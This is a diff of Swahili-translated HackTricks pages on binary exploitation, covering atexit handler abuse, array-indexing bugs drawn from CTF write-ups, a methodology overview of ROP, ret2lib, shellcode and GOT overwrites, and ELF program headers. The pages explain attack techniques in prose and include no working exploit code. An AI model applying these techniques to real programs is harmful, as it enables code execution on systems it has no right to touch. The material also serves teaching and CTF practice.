* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -17,15 +17,15 @@ Njia nyingine za kusaidia HackTricks:
## **\_\_atexit Miundo**
{% hint style="danger" %}
Leo ni **raha sana kudukua hii**.
Leo ni **raha sana kudukua hii!**
{% endhint %}
**`atexit()`** ni kazi ambayo **kazi zingine hupitishwa kama parameta.** Hizi **kazi** zitatekelezwa wakati wa kutekeleza **`exit()`** au **kurudi** kwa **msingi**.\
Ikiwa unaweza **kurekebisha** **anwani** ya mojawapo ya hizi **kazi** ili ielekee kwenye shellcode kwa mfano, utapata **udhibiti** wa **mchakato**, lakini hii ni ngumu zaidi kwa sasa.\
Kwa sasa **anwani za kazi** zitakazotekelezwa zimefichwa nyuma ya miundo kadhaa na mwishowe anwani ambayo inaelekezwa sio anwani za kazi, bali zime **fichwa kwa XOR** na viondoleo na **ufunguo wa kubahatisha**. Kwa hivyo kwa sasa vector huu wa shambulio **si wa kutumika sana angalau kwenye x86** na **x64\_86**.\
Kwa sasa **anwani za kazi** zitakazotekelezwa zimefichwa nyuma ya miundo kadhaa na mwishowe anwani ambayo inaelekezwa sio anwani za kazi, bali zime **fichwa kwa XOR** na viondoleo na **ufunguo wa kubahatisha.** Kwa hivyo kwa sasa vector huu wa shambulio **si wa kutumika sana angalau kwenye x86** na **x64\_86**.\
Kazi ya **ufichaji** ni **`PTR_MANGLE`**. **Miundo mingine** kama m68k, mips32, mips64, aarch64, arm, hppa... **hazitekelezi kazi ya ufichaji** kwa sababu **inarejesha sawa** na ilivyopokea kama kuingia. Kwa hivyo miundo hii ingeweza kushambuliwa kupitia vector huu.
Unaweza kupata maelezo ya kina juu ya jinsi hii inavyofanya kazi kwenye [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
Unaweza kupata maelezo ya kina kuhusu jinsi hii inavyofanya kazi kwenye [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
<details>

View file

@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -18,13 +18,13 @@ Njia nyingine za kusaidia HackTricks:
Kategoria hii inajumuisha mapungufu yote yanayotokea kwa sababu ni rahisi kubadilisha data fulani kupitia makosa katika kushughulikia viashiria katika mizunguko. Ni kategoria pana sana ambayo haina mbinu maalum kwani mbinu ya uvamizi inategemea kabisa hali ya mapungufu.
Hata hivyo, hapa unaweza kupata mifano michache nzuri:
Hata hivyo, hapa unaweza kupata **mifano** mizuri:
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
* Kuna **mizunguko inayogongana 2**, moja kwa **anwani** ambapo data imewekwa na nyingine na **vipimo** vya data hiyo. Inawezekana kubadilisha moja kutoka kwa nyingine, kuruhusu kuandika anwani ya aina yoyote ikionyesha kama kipimo. Hii inaruhusu kuandika anwani ya kazi ya `free` kwenye jedwali la GOT na kisha kuibadilisha na anwani ya `system`, na kuita free kutoka kwenye kumbukumbu yenye `/bin/sh`.
* Kuna **mizunguko inayogongana 2**, moja kwa **anwani** ambapo data imewekwa na nyingine na **ukubwa** wa data hiyo. Inawezekana kubadilisha moja kutoka kwa nyingine, kuruhusu kuandika anwani ya aina yoyote ikionyesha kama ukubwa. Hii inaruhusu kuandika anwani ya kazi ya `free` kwenye jedwali la GOT na kisha kuibadilisha na anwani ya `system`, na kuita free kutoka kwa kumbukumbu yenye `/bin/sh`.
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
* 64 biti, hakuna nx. Badilisha kipimo kupata aina ya kujaza buffer ambapo kila kitu kitatumika kama nambari mara mbili na kusortiwa kutoka ndogo hadi kubwa hivyo ni lazima kuunda shellcode ambayo inatimiza mahitaji hayo, ikizingatiwa kuwa canary isitoke kutoka mahali pake na hatimaye kubadilisha RIP na anwani ya ret, ambayo inatimiza mahitaji ya awali na kuweka anwani kubwa kama anwani mpya inayoashiria mwanzo wa mizunguko (iliyovuja na programu) hivyo niwezekane kutumia ret kuruka hapo.
* 64 bit, hakuna nx. Badilisha ukubwa ili upate aina ya kujaza kijeraha ambapo kila kitu kitatumika kama nambari maradufu na kusortiwa kutoka ndogo hadi kubwa hivyo ni lazima kuunda shellcode ambayo inatimiza mahitaji hayo, ikizingatiwa kuwa canary isitoke kutoka mahali pake na mwishowe kubadilisha RIP na anwani ya ret, ambayo inatimiza mahitaji ya awali na kuweka anwani kubwa kama anwani mpya inayoashiria mwanzo wa mizunguko (iliyovuja na programu) hivyo niwezekane kutumia ret kuruka hapo.
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
* 64 biti, hakuna relro, canary, nx, hakuna pie. Kuna off-by-one katika mizunguko kwenye mizunguko ambayo inaruhusu kudhibiti kipanya kutoa WWW (inaandika jumla ya nambari zote za mizunguko kwenye anwani iliyobadilishwa na off-by-one kwenye mizunguko). Mizunguko inadhibitiwa hivyo anwani ya `exit` ya GOT inabadilishwa na `pop rdi; ret`, na kwenye mizunguko inaongezwa anwani ya `main` (kurudi kwa `main`). Mnyororo wa ROP kutolea anwani ya put kwenye GOT kutumia puts unatumika (`exit` itaitwa hivyo itaita `pop rdi; ret` kwa hivyo kutekeleza mnyororo huu kwenye mizunguko). Hatimaye mnyororo mpya wa ROP unatekelezwa ret2lib.
* 64 bit, hakuna relro, canary, nx, hakuna pie. Kuna off-by-one katika mizunguko kwenye mizunguko ambayo inaruhusu kudhibiti kipanya kutoa WWW (inaandika jumla ya nambari zote za mizunguko kwenye anwani iliyobadilishwa na off-by-one kwenye mizunguko). Mizunguko inadhibitiwa hivyo anwani ya GOT `exit` inabadilishwa na `pop rdi; ret`, na kwenye mizunguko inaongezwa anwani ya `main` (kurudi kwa `main`). Mnyororo wa ROP kutolea anwani ya put kwenye GOT kutumia puts unatumika (`exit` itaitwa hivyo itaita `pop rdi; ret` kwa hivyo kutekeleza mnyororo huu kwenye mizunguko). Hatimaye mnyororo mpya wa ROP unatekelezwa ret2lib.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 biti, hakuna relro, hakuna canary, nx, pie. Tumia indexing mbaya kuvuja anwani za libc na heap kutoka kwenye mizunguko. Tumia kujaza buffer kufanya ret2lib ikitoa `system('/bin/sh')` (anwani ya heap inahitajika kuvuka ukaguzi).
* 32 bit, hakuna relro, hakuna canary, nx, pie. Tumia indeksi mbaya kufichua anwani za libc na heap kutoka kwenye mizunguko. Tumia kujaza kijeraha kufanya ret2lib ikitoa `system('/bin/sh')` (anwani ya heap inahitajika kupita ukaguzi).

View file

@ -1,8 +1,8 @@
# Mbinu ya Msingi ya Uchunguzi wa Binary
# Mbinu ya Msingi ya Udukuzi wa Binary
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -10,19 +10,19 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi za ELF
Kabla ya kuanza kutumia mbinu yoyote ni muhimu kuelewa sehemu ya muundo wa binary ya ELF:
Kabla ya kuanza kutumia udhaifu wowote, ni muhimu kuelewa sehemu ya muundo wa **binary ya ELF**:
{% content-ref url="elf-tricks.md" %}
[elf-tricks.md](elf-tricks.md)
{% endcontent-ref %}
## Zana za Kudukua
## Zana za Udukuzi
{% content-ref url="tools/" %}
[zana](tools/)
@ -30,17 +30,17 @@ Kabla ya kuanza kutumia mbinu yoyote ni muhimu kuelewa sehemu ya muundo wa binar
## Mbinu ya Kujaza Stack
Kutokana na mbinu nyingi ni vizuri kuwa na mpango ambapo kila mbinu itakuwa na manufaa. Kumbuka kwamba kinga sawa zitaathiri mbinu tofauti. Unaweza kupata njia za kuzidi kinga kwenye kila sehemu ya kinga lakini sio katika mbinu hii.
Kwa mbinu nyingi ni vizuri kuwa na mpango ambapo kila mbinu itakuwa na manufaa. Kumbuka kuwa kinga sawa zitawaathiri mbinu tofauti. Unaweza kupata njia za kuzidi kinga kwenye kila sehemu ya kinga lakini sio katika mbinu hii.
## Kudhibiti Mzunguko
## Kudhibiti Mwelekeo
Kuna njia tofauti unaweza kumaliza kudhibiti mzunguko wa programu:
Kuna njia tofauti unaweza kumaliza kudhibiti mwelekeo wa programu:
* [**Kujaza Stack**](../stack-overflow/) kwa kubadilisha kiashiria cha kurudi kutoka kwenye stack au EBP -> ESP -> EIP.
* Inaweza kuhitaji kutumia [**Kujaza Nambari**](../integer-overflow.md) kusababisha kujaa
* Au kupitia **Andika Nini Wapi hadi Utekelezaji**
* [**Vidokezo vya Format**](../format-strings/)**:** Tumia `printf` kuandika maudhui yoyote kwenye anwani za aina yoyote.
* [**Uainishaji wa Array**](../array-indexing.md): Tumia uainishaji uliopangwa vibaya kuweza kudhibiti baadhi ya mizunguko na kupata andika ya aina yoyote.
* [**Vidokezo vya Format**](../format-strings/)**:** Tumia `printf` kuandika yaliyomo yoyote kwenye anwani za yoyote.
* [**Kuorodhesha Array**](../array-indexing.md): Tumia kiashiria kilichopangwa vibaya ili kuweza kudhibiti baadhi ya mizunguko na kupata andika yoyote.
* Inaweza kuhitaji kutumia [**Kujaza Nambari**](../integer-overflow.md) kusababisha kujaa
* **bof hadi WWW kupitia ROP**: Tumia kujaza kijazo ili kujenga ROP na kuweza kupata WWW.
@ -50,18 +50,18 @@ Unaweza kupata mbinu za **Andika Nini Wapi hadi Utekelezaji** katika:
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
## Mzunguko wa Milele
## Mizunguko Isiyokuwa na Mwisho
Jambo la kuzingatia ni kwamba kawaida **kudukua mara moja tu kwa udhaifu huenda isiwe ya kutosha** kutekeleza kudukua yenye mafanikio, hasa baadhi ya kinga zinahitaji kuzidiwa. Kwa hivyo, ni muhimu kujadili chaguzi kadhaa za **kufanya udhaifu mmoja uweze kudukuliwa mara kadhaa** katika utekelezaji huo wa binary:
Jambo la kuzingatia ni kwamba kawaida **udukuzi mmoja wa udhaifu huenda usiwe wa kutosha** kutekeleza udanganyifu wa mafanikio, hasa baadhi ya kinga zinahitaji kuzidiwa. Kwa hivyo, ni muhimu kujadili chaguzi kadhaa za **kufanya udhaifu mmoja uweze kutumiwa mara kadhaa** katika utekelezaji huo wa binary:
* Andika kwenye mnyororo wa **ROP** anwani ya **`main` function** au kwenye anwani ambapo **udhaifu** unatokea.
* Kwa kudhibiti mnyororo sahihi wa ROP unaweza kufanya vitendo vyote katika mnyororo huo
* Andika anwani ya **`exit` kwenye GOT** (au kazi nyingine yoyote inayotumiwa na binary kabla ya kumaliza) anwani ya kurudi **nyuma kwa udhaifu**
* Kama ilivyoelezwa katika [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** hifadhi hapa 2 kazi, moja kuita tena udhaifu na nyingine kuita**`__libc_csu_fini`** ambayo itaita tena kazi kutoka `.fini_array`.
* Andika kwenye mnyororo wa **ROP** anwani ya **kazi ya** **`kuu`** au kwenye anwani ambapo **udhaifu** unatokea.
* Kwa kudhibiti mnyororo sahihi wa ROP unaweza kutekeleza vitendo vyote katika mnyororo huo
* Andika anwani ya **`exit` kwenye GOT** (au kazi nyingine inayotumiwa na binary kabla ya kumaliza) anwani ya kurudi **nyuma kwa udhaifu**
* Kama ilivyoelezwa katika [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** hifadhi 2 kazi hapa, moja kuita udhaifu tena na nyingine kuita**`__libc_csu_fini`** ambayo itaita tena kazi kutoka `.fini_array`.
## Malengo ya Kudukua
## Malengo ya Udukuzi
### lengo: Piga simu kwa Kazi Iliyopo
### Lengo: Piga simu kwa Kazi Iliyopo
* [**ret2win**](./#ret2win): Kuna kazi katika nambari unayohitaji kupiga simu (labda na baadhi ya parameta maalum) ili kupata bendera.
* Katika bof ya kawaida bila [**PIE**](../common-binary-protections-and-bypasses/pie/) **na** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) unahitaji tu kuandika anwani kwenye anwani ya kurudi iliyohifadhiwa kwenye stack.
@ -69,58 +69,59 @@ Jambo la kuzingatia ni kwamba kawaida **kudukua mara moja tu kwa udhaifu huenda
* Katika bof na [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), utahitaji kuzidi kinga hiyo
* Ikiwa unahitaji kuweka vigezo kadhaa kuita kazi ya **ret2win** kwa usahihi unaweza kutumia:
* Mnyororo wa [**ROP**](./#rop-and-ret2...-techniques) **ikiwa kuna vifaa vya kutosha** kuandaa vigezo vyote
* [**SROP**](../rop-return-oriented-programing/ret2esp-ret2reg/srop-sigreturn-oriented-programming.md) (ikiwa unaweza kupiga simu ya syscall hii) kudhibiti usajili mwingi
* Vifaa kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) kudhibiti usajili kadhaa
* Kupitia [**Andika Nini Wapi hadi Utekelezaji**](../arbitrary-write-2-exec/) unaweza kutumia udhaifu mwingine (si bof) kuita kazi ya **`win`**.
* [**Kuongeza Viashiria**](../stack-overflow/pointer-redirecting.md): Ikiwa stack ina viashiria kwa kazi itakayoitwa au kwa herufi itakayotumiwa na kazi ya kuvutia (mfumo au printf), inawezekana kubadilisha anwani hiyo.
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (kwa hali unaweza kupiga simu hii ya mfumo) kudhibiti usajili mwingi
* Vifaa kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti usajili kadhaa
* Kupitia [**Andika Nini Wapi hadi Utekelezaji**](../arbitrary-write-2-exec/) unaweza kutumia udhaifu mwingine (si bof) kuita kazi ya **`kushinda`**.
* [**Kuhamisha Pointi**](../stack-overflow/pointer-redirecting.md): Kwa kesi ambapo stack ina pointi kwa kazi itakayopigwa simu au kwa herufi itakayotumiwa na kazi ya kuvutia (mfumo au printf), inawezekana kubadilisha anwani hiyo.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) inaweza kuathiri anwani.
* [**Vigezo visivyoanzishwa**](../stack-overflow/uninitialized-variables.md): Kamwe hujui.
### lengo: RCE
### Lengo: RCE
#### Kupitia shellcode, ikiwa nx imelemazwa au kuchanganya shellcode na ROP:
* [**(Stack) Shellcode**](./#stack-shellcode): Hii ni muhimu kuhifadhi shellcode kwenye stack kabla au baada ya kubadilisha kiashiria cha kurudi na kisha **kuhamia kwake** kuitekeleza:
* [**(Stack) Shellcode**](./#stack-shellcode): Hii ni muhimu kuhifadhi shellcode kwenye stack kabla au baada ya kubadilisha kiashiria cha kurudi kisha **piga simu kwake** kuitekeleza:
* **Katika kesi yoyote, ikiwa kuna** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** katika bof ya kawaida utahitaji kuzidi (kuvuja) hiyo
* **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ni rahisi kuhama kwenye anwani ya stack kwani haitabadilika kamwe
* **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) utahitaji mbinu kama [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg/) kuhama kwake
* **Na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), utahitaji kutumia baadhi ya [**ROP**](../rop-return-oriented-programing/) **kupiga simu kwa `memprotect`** na kufanya ukurasa fulani uwe `rwx`, ili kisha **hifadhi shellcode hapo** (kupiga simu kwa kusoma kwa mfano) na kisha hama hapo.
* **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) inawezekana kusonga kwenye anwani ya stack kwani haitabadilika kamwe
* **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) utahitaji mbinu kama [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) kusonga kwake
* **Na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), utahitaji kutumia baadhi ya [**ROP**](../rop-return-oriented-programing/) **kupiga simu kwa `memprotect`** na kufanya ukurasa fulani uwe `rwx`, ili kisha **hifadhi shellcode hapo** (kupiga simu kwa kusoma kwa mfano) na kisha piga simu hapo.
* Hii itachanganya shellcode na mnyororo wa ROP.
#### Kupitia syscalls
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md): Inatumika kuita `execve` ili kukimbia amri za aina yoyote. Unahitaji kuweza kupata **gadgets za kuita syscall maalum na parameta**.
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md): Inatumika kuita `execve` ili kutekeleza amri za aina yoyote. Unahitaji kuweza kupata **gadgets za kuita syscall maalum na parameta**.
* Ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) zimeanzishwa utahitaji kuzishinda **ili kutumia ROP gadgets** kutoka kwenye binary au maktaba.
* [**SROP**](../rop-return-oriented-programing/ret2esp-ret2reg/srop-sigreturn-oriented-programming.md) inaweza kuwa na manufaa kwa kujiandaa kwa **ret2execve**
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) inaweza kuwa na manufaa kwa kuandaa **ret2execve**
* Gadgets kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti rejista kadhaa
#### Kupitia libc
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Inatumika kuita kazi kutoka kwenye maktaba (kawaida kutoka kwa **`libc`**) kama vile **`system`** na baadhi ya hoja zilizoandaliwa (k.m. `'/bin/sh'`). Unahitaji binary ili **ipakie maktaba** na kazi unayotaka kuita (kawaida libc).
* Ikiwa **imekompiliwa tuli na hakuna** [**PIE**](../common-binary-protections-and-bypasses/pie/), **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo ni rahisi kuzitumia tuli.
* **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na kujua toleo la libc** lililopakiwa, **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo ni rahisi kuzitumia tuli.
* Pamoja na [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **lakini bila** [**PIE**](../common-binary-protections-and-bypasses/pie/), kwa kujua libc na kwa binary kutumia kazi ya `system` ni rahisi **`ret` kwenye anwani ya system kwenye GOT** na anwani ya `'/bin/sh'` kwenye parameta (utahitaji kufikiria hili).
* Pamoja na [ASLR](../common-binary-protections-and-bypasses/aslr/) lakini bila [PIE](../common-binary-protections-and-bypasses/pie/), kwa kujua libc na **bila binary kutumia kazi ya `system`**:
* Pamoja na [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **lakini bila** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, kwa kujua libc na kwa binary kutumia kazi ya `system`** ni rahisi **`ret` kwenye anwani ya system katika GOT** na anwani ya `'/bin/sh'` kwenye parameta (utahitaji kufikiria hili).
* Pamoja na [ASLR](../common-binary-protections-and-bypasses/aslr/) lakini bila [PIE](../common-binary-protections-and-bypasses/pie/), kwa kujua libc na **bila binary kutumia kazi ya `system`** :
* Tumia [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kutatua anwani ya `system` na kuipiga simu&#x20;
* **Zuia** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) na kuhesabu anwani ya `system` na `'/bin/sh'` kwenye kumbukumbu.
* **Pamoja na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**PIE**](../common-binary-protections-and-bypasses/pie/) **na bila kujua libc**: Unahitaji:
* Zuia [**PIE**](../common-binary-protections-and-bypasses/pie/)
* Pata **toleo la `libc`** lililotumiwa (vuja anwani kadhaa za kazi)
* Pata **toleo la libc** lililotumika (leak anwani za kazi kadhaa)
* Angalia **hali za awali za ASLR** ili kuendelea.
#### Kupitia EBP/RBP
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Dhibiti ESP ili kudhibiti RET kupitia EBP iliyohifadhiwa kwenye stack.
* Ina manufaa kwa **kuzidi kidogo** kwenye stack
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Dhibiti ESP ili kudhibiti RET kupitia EBP iliyohifadhiwa kwenye steki.
* Ina manufaa kwa mifuriko ya steki ya **off-by-one**
* Ina manufaa kama njia mbadala ya kumaliza kudhibiti EIP wakati wa kutumia EIP kujenga mzigo wa data kwenye kumbukumbu na kisha kuruka kwenda kwake kupitia EBP
#### Mambo Mengine
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Ikiwa stack ina pointa kwa kazi ambayo itaitwa au kwa herufi ambayo itatumika na kazi ya kuvutia (system au printf), inawezekana kubadilisha anwani hiyo.
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Ikiwa steki ina pointa kwa kazi ambayo itaitwa au kwa herufi ambayo itatumika na kazi ya kuvutia (system au printf), inawezekana kubadilisha anwani hiyo.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) inaweza kuathiri anwani.
* [**Variables zisizowekwa**](../stack-overflow/uninitialized-variables.md): Kamwe hujui
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuhack AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -128,6 +129,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,20 +1,20 @@
# Mbinu za ELF
# Maelezo Muhimu ya ELF
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Vichwa vya Programu
Hivi hufafanua kwa mzigo jinsi ya kupakia ELF kwenye kumbukumbu:
Hivi hufafanua kwa mzigo jinsi ya kupakia **ELF** kwenye kumbukumbu:
```bash
readelf -lW lnstat
@ -55,14 +55,14 @@ Ina meza za vichwa vya programu na metadata yenyewe.
### INTERP
Inaonyesha njia ya mzigo wa kutumia kusoma data ya binary kwenye kumbukumbu.
Inaonyesha njia ya mzigo wa kutumia kusoma faili ya binary kwenye kumbukumbu.
### LOAD
Vichwa hivi hutumiwa kuonyesha **jinsi ya kusoma data ya binary kwenye kumbukumbu.**\
Kila kichwa cha **LOAD** huonyesha eneo la **kumbukumbu** (ukubwa, ruhusa, na usawazishaji) na huonyesha baits za **ELF binary za kunakili hapo**.
Vichwa hivi hutumiwa kuonyesha **jinsi ya kusoma faili ya binary kwenye kumbukumbu.**\
Kila kichwa cha **LOAD** huonyesha eneo la **kumbukumbu** (ukubwa, ruhusa, na usawazishaji) na inaonyesha baits za **ELF binary za kunakili hapo**.
Kwa mfano, la pili lina ukubwa wa 0x1190, linapaswa kuwa kwenye 0x1fc48 na ruhusa za kusoma na kuandika na litajazwa na 0x528 kutoka kwa offset 0xfc48 (hailazi nafasi yote iliyohifadhiwa). Kumbukumbu hii italeta sehemu `.init_array .fini_array .dynamic .got .data .bss`.
Kwa mfano, la pili lina ukubwa wa 0x1190, linapaswa kuwa katika 0x1fc48 na ruhusa za kusoma na kuandika na litajazwa na 0x528 kutoka kwa offset 0xfc48 (hailazi nafasi yote iliyohifadhiwa). Kumbukumbu hii italeta sehemu `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
@ -70,31 +70,31 @@ Kichwa hiki husaidia kuunganisha programu na mahitaji yake ya maktaba na kutumia
### NOTE
